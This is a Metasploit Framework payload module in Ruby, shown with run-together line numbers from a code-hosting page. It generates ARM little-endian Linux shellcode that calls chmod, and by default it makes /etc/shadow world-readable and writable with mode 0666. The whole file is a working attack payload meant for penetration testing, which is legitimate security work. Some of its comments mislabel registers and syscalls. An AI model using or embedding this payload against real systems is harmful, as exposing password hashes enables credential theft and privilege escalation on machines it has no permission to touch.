Path: blob/master/modules/payloads/singles/linux/armle/chmod.rb
31164 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 4078include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Chmod',15'Description' => 'Runs chmod on the specified file with specified mode.',16'Author' => 'bcoles',17'License' => MSF_LICENSE,18'Platform' => 'linux',19'Arch' => ARCH_ARMLE,20'References' => [21['URL', 'https://man7.org/linux/man-pages/man2/chmod.2.html'],22['URL', 'https://github.com/bcoles/shellcode/blob/main/armle/chmod/chmod.s'],23]24)25)26register_options([27OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),28OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),29])30end3132# @return [String] the full path of the file to be modified33def chmod_file_path34datastore['FILE'] || ''35end3637# @return [Integer] the desired mode for the file38def mode39(datastore['MODE'] || '0666').oct40rescue StandardError => e41raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"42end4344# @return [Integer] ARM LE instruction to load mode into r2 register45# For example: 0xe30011b6 ; mov r1, #0666 ; loads 0x1b6 (0o666) into r246def chmod_instruction(mode)470xe3000000 | ((mode & 0xF000) << 4) | (1 << 12) | (mode & 0x0FFF)48end4950def generate(_opts = {})51raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF5253shellcode = [540xe28f0014, # add r0, pc, #20 # pointer to path55chmod_instruction(mode), # movw r2, <mode>560xe3a0700f, # mov r7, #15 # __NR_fchmodat570xef000000, # svc 0x00000000 # syscall580xe3a00000, # mov r0, #0 # exit code = 0590xe3a07001, # mov r7, #1 # __NR_exit600xef000000 # svc 0x00000000 # syscall61].pack('V*')62shellcode += chmod_file_path + "\x00"6364# align our shellcode to 4 bytes65shellcode += "\x00" while shellcode.bytesize % 4 != 06667super.to_s + shellcode68end69end707172